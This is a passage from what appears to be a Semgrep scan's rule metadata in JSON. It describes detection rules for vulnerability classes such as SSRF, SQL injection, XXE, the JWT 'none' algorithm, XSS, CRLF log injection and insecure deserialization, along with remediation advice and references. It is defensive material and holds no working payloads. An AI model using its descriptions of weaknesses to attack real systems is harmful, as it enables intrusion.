[https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","id":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","name":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md](https://github.com/OlivierLaflamme/Auditing-Vulnerabilities/blob/master/SSRF/PHP/PHP_vuln_function.md)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-url-to-connection.tainted-url-to-connection","id":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","name":"php.lang.security.tainted-url-to-connection.tainted-url-to-connection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-url-to-connection.tainted-url-to-connection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","id":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","name":"ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-none-alg.ruby-jwt-none-alg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"help":{"markdown":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected usage of crypto.pseudoRandomBytes, which does not produce secure random numbers."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","id":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","name":"javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-pseudorandombytes.detect-pseudoRandomBytes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"help":{"markdown":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged](https://wiki.sei.cmu.edu/confluence/display/c/STR06-C.+Do+not+assume+that+strtok%28%29+leaves+the+parse+string+unchanged)\n - [https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS](https://man7.org/linux/man-pages/man3/strtok.3.html#BUGS)\n - [https://stackoverflow.com/a/40335556](https://stackoverflow.com/a/40335556)\n","text":"Avoid using 'strtok()'. This function directly modifies the first argument buffer, permanently erasing the delimiter character. Use 'strtok_r()' instead."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","id":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","name":"c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-strtok-fn.insecure-use-strtok-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"help":{"markdown":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/c/MEM30-C.+Do+not+access+freed+memory)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"`$SINK_VAR` has previously been freed which will trigger a double-free vulnerability. This may lead to memory corruption."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.deallocation.double-free.double-free","id":"cpp.lang.security.memory.deallocation.double-free.double-free","name":"cpp.lang.security.memory.deallocation.double-free.double-free","properties":{"precision":"very-high","tags":["CWE-415: Double Free","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.deallocation.double-free.double-free"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","id":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","name":"python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-urllib3.tainted-fastapi-http-request-urllib3"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"help":{"markdown":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml)\n - [https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html](https://react.dev/reference/react-dom/components/common#dangerously-setting-the-inner-html)\n","text":"Detection of dangerouslySetInnerHTML from non-constant definition. This can inadvertently expose users to cross-site scripting (XSS) attacks if this comes from user-provided input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize your HTML."},"helpUri":"https://semgrep.dev/r/typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","id":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","name":"typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.security.audit.react-dangerouslysetinnerhtml.react-dangerouslysetinnerhtml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","id":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","name":"java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxtransformerfactory-xxe-spring.tainted-saxtransformerfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"help":{"markdown":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URLConnection.html)\n - [https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection()](https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/net/URL.html#openConnection())\n","text":"Detected an HTTP request sent via HttpURLConnection. This could lead to sensitive information being sent over an insecure channel. Instead, it is recommended to send requests over HTTPS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","id":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","name":"problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.httpurlconnection-http-request.httpurlconnection-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CFB cipher mode. This mode is insecure because it does not protect against an IV reuse. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","id":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","name":"csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cfb-mode.cfb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"help":{"markdown":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade)\n - [https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps](https://developer.apple.com/documentation/webkit/wkwebviewconfiguration/3752243-upgradeknownhoststohttps)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not enable the `upgradeKnownHostsToHTTPS` feature. This feature will ensure accidental HTTP connections are automatically upgraded to HTTPS, avoiding potential data leakage over the network."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-https.swift-webview-config-https-upgrade","id":"swift.webview.webview-https.swift-webview-config-https-upgrade","name":"swift.webview.webview-https.swift-webview-config-https-upgrade","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-https.swift-webview-config-https-upgrade"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","id":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","name":"java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.okhttp.secrets.hardcoded-secret-in-credentials.hardcoded-secret-in-credentials"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"help":{"markdown":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash","id":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","name":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.rsa.rsa-insecure-hash.rsa-insecure-hash"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"help":{"markdown":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md](https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md)\n","text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","id":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","name":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows 